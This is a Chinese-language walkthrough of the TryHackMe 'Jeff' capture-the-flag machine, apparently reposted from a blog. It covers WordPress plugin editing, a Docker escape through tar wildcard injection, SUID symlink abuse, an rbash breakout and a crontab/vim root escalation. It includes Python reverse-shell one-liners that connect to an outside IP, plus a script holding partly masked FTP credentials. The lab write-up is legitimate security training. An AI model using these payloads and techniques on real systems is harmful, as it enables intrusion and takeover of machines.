TryHackMe-Jeff(boot2root | Hard?)

Jeff

你能破解杰夫的网络服务器吗?

如果你发现自己在暴力破解SSH,你就做错了。


端口扫描

循例nmap

在这里插入图片描述

进80,是一个空页面,查看源代码

在这里插入图片描述

将jeff.thm加入hosts

在这里插入图片描述

上gobuster

在这里插入图片描述

/admin是空页面,/backups也没东西,/uploads是文件上传点

然而连upload也是假的

在这里插入图片描述

扫admin/,login.php还是空的

在这里插入图片描述

扫/backups/

在这里插入图片描述

把backup.zip下下来,需要密码

在这里插入图片描述

zip2john后直接爆

在这里插入图片描述

查看bak得到wp密码

在这里插入图片描述

现在就差wp站点没找到,不出意外应该是vhost,直接上ffuf

在这里插入图片描述

把wordpress子域加进hosts

在这里插入图片描述

进到wp并且利用刚刚的凭据登录

在这里插入图片描述

无法通过改页面getshell

在这里插入图片描述

这里利用插件编辑器改插件index.php

在这里插入图片描述

但akismet这个目录无权访问

在这里插入图片描述

换另一个插件,同样的方法

在这里插入图片描述

访问hello.php

在这里插入图片描述

没问题,直接reverse shell

python3.7可用

在这里插入图片描述

payload:

python3.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

docker逃逸

在家目录的html下有一个root的文件

在这里插入图片描述

$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';

$username = "backupmgr";
$password = "SuXXXXXXxXXXXXXXX3!";

$ftp = ftp_connect("172.20.0.1"); // todo, set up /etc/hosts for the container host

if( ! ftp_login($ftp, $username, $password) ){
    
    
    die("FTP Login failed.");
}

$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
    
    
    $msg = "$file was uploaded.\n";
}

很明显,172.20.0.1应该就是宿主机,而该php文件将连接到宿主机的ftp并上传一些文件去备份

这里没有ftp,我们可以用curl

在这里插入图片描述

这里上传文件后,如何进行备份是一个更值得关注的地方

在以往,我们通过所谓备份来提权的应该就是tar的通配符注入了

如果这里也是tar把ftp上传的文件进行备份,那么我们将直接逃逸到宿主机,获得宿主机的shell

hack.sh

#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.39.48",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

base64编码解码写入hack.sh

在这里插入图片描述

上传ftp

在这里插入图片描述

成功过来

在这里插入图片描述

横向移动

看到用户名是backupmgr,一下联想到了/var/backups,在/var/backups下有个bak,但目前无权查看

在这里插入图片描述

/opt

在这里插入图片描述

进到systools,查看message.txt

在这里插入图片描述

systool是一个可执行文件并且带jeff的suid,可以查看进程和“重置jeff的密码”

在这里插入图片描述

而systool会读取message.txt,并且message.txt我们有所有权

在这里插入图片描述

联合上面发现的jeff.bak,我们可以通过ln将message.txt链接到jeff.bak来读取其内容

在这里插入图片描述

再次执行systool,获得jeff的密码

在这里插入图片描述

ssh登过去,发现ssh的shell受限, 是rbash,什么都干不了

在这里插入图片描述

通过刚刚的shell直接su过去,发现至少还能执行一些命令

发现只禁止了/,环境变量并没有被破坏,直接bash获得bash

在这里插入图片描述

拿到user flag,但是这个flag是错误的,看到flag里面有个Hash Me两个字眼果断将其MD5

在这里插入图片描述

再次提交,成功

权限提升

查看sudo -l

在这里插入图片描述

久违的crontab -e提权

进到vim之后直接:!/bin/bash

在这里插入图片描述

成功到root,拿到root flag

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_54704239/article/details/130347142